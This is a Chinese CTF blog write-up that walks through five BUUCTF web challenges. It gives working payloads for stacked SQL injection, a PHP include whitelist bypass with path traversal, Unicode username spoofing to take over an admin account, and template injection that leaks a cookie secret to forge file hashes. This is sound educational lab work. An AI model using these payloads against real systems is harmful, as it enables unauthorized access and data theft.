BUUCTF部分题练习

[强网杯 2019]随便注

看题目的样子应该是sq注入
在这里插入图片描述先添加单引号 1',发现有报错;
用order by 语句查询到有两列 1' order by 2 #
然后准备用union select 联合查询数据库时,页面回显了过滤提示:

在这里插入图片描述return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
根据提示,上面的提到的关键字都被过滤了。

就要用另一种注入方法——堆叠注入。

堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

构造语句,查询数据库1';show databases;#
在这里插入图片描述

再查表:1;show tables ; #

在这里插入图片描述

查询第一个表中的内容:1';show columns from '1919810931114514';#

但是什么也没有

再看words表中的内容1';show columns from words #

在这里插入图片描述
用handler查询语句,具体参考这里

在这里插入图片描述1';handler1919810931114514open;handler1919810931114514read first;#

在这里插入图片描述

WarmUp

在这里插入图片描述

熟悉的滑稽脸…
首先查看源码:
发现有一个提示,souse.php. 进去
在这里插入图片描述进去后得到一段代码

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

这道题之前做过
看到有个hint.php 进去后

在这里插入图片描述
这是一个文件包含的漏洞
构造:/source.php?file=hint.php%253F/../../../../ffffllllaaaagggg
在这里插入图片描述

EasySQL

输入1,回显了一个
在这里插入图片描述
想着是不是单引号注入之类的,试了试发现没有反应。
想到前面一道题用了堆叠注入,于是这里也尝试了一下
1;show databases;
在这里插入图片描述然后1;show tables;
在这里插入图片描述看到有Flag,但是不知道怎么查看,试了几种查询语句返回的都是nonono
在这里插入图片描述

然后搜了其他大神的方法。
看到有个用 *,1
试了试,竟然可以,但是我不懂为什么。。。。
求解
在这里插入图片描述

[HCTF 2018]admin

点进hctf 但是无法访问
在这里插入图片描述查看源码发现提示需要管理员权限
在这里插入图片描述

第一个想到的获取管理员权限的方法就是,先注册一个普通用户的账号—>在修改资料时将管理员的session改到普通用户的session上
也就是伪造session
但是当我用burpsuite抓包后看到这个session,我有一丝丝的迷茫
在这里插入图片描述然后去查看了大神的wp后,了解到这是需要解密的
同理,想要伪造session也得利用脚本进行加密后在放上去

这时 ,看到大神提供了另一个很妙的方法:Unicode欺骗

具体就是利用函数strlow()函数在登陆注册修改密码时都用到了的漏洞

def strlower(username):
    username = nodeprep.prepare(username)
    return username

在这里插入图片描述
所以就是用注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录
在这里插入图片描述

因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名会变成ADMIN
在这里插入图片描述

此时再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin
在这里插入图片描述

这样就可以改掉admin的密码
然后用admin登陆 拿到flag

在这里插入图片描述

easy_tornado

打卡看到3个链接,每个点进去看了看
在这里插入图片描述

这里告诉我们flag in//fllllllllllllag
在这里插入图片描述
但是我们直接访问/fllllllllllllag 是不行的
然后看了另外两个链接的内容

在这里插入图片描述
在这里插入图片描述
而且可以注意到链接每次打开都不是直接访问文件 flag.txt 而是后面还有一个参数filehash

http://babf3103-1032-4a39-9e47-399228c9769a.node3.buuoj.cn/file?filename=/flag.txt&filehash=04cfaf348554214a8b4f2cb927eef82a

所以要访问到/fllllllllllllag 必须知道它的filehash的值

结合hint.txt 给出的提示 filehash 的值应该是
filehash=md5(cookie_secret+md5(filename))
filename=/fllllllllllllag,还需要知道cookie_secret

另外还有一个 error界面, /error?msg=Error,可能存在服务端模板攻击
参考链接: link.

构造payload获取cookie_secret
/error?msg={{handler.settings}}
在这里插入图片描述找了个脚本算出filehash

import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s.encode("utf-8")) 
 return md5.hexdigest()
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = 'a76db239-678c-4f3b-94d1-ea2e597ff5cc'
 print(md5(cookie_secret+md5(filename)))
 
if __name__ == '__main__':
 filehash()

得到:

eb2987f1a72c919efcb33e070f9a71e2

然后构造playload:
/file?filename=/fllllllllllllag&filehash=eb2987f1a72c919efcb33e070f9a71e2
拿到 flag
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值